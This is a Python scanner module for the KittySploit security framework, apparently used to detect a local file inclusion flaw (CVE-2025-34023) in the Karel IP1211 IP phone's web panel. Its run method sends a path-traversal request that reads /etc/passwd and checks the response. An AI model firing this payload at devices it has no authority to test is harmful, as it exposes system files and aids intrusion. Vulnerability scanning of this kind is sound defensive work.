Karel IP Phone IP1211 Web Management Panel - Local File Inclusion Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Karel IP Phone IP1211 Web Management Panel is vulnerable to local file inclusion and can allow remote attacker."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Karel IP Phone IP1211 Web Management Panel - Local File Inclusion Detection',
        'description': "Karel IP Phone IP1211 Web Management Panel is vulnerable to local file inclusion and can allow remote attackers to access arbitrary files stored on the remote device via the 'cgiServer.exx' endpoint and the 'page' parameter.",
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'karel', 'lfi', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://cxsecurity.com/issue/WLB-2020100038',
            'https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon',
            'https://nvd.nist.gov/vuln/detail/CVE-2025-34023',
        ],
        'cve': 'CVE-2025-34023',
    }

    def run(self):
        r = self.http_request(method="GET", path='/cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:[x*]:0:0',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Karel IP Phone IP1211 Web Management Panel - Local File Inclusion detected",
                path='/cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd',
            )
            return True
        return False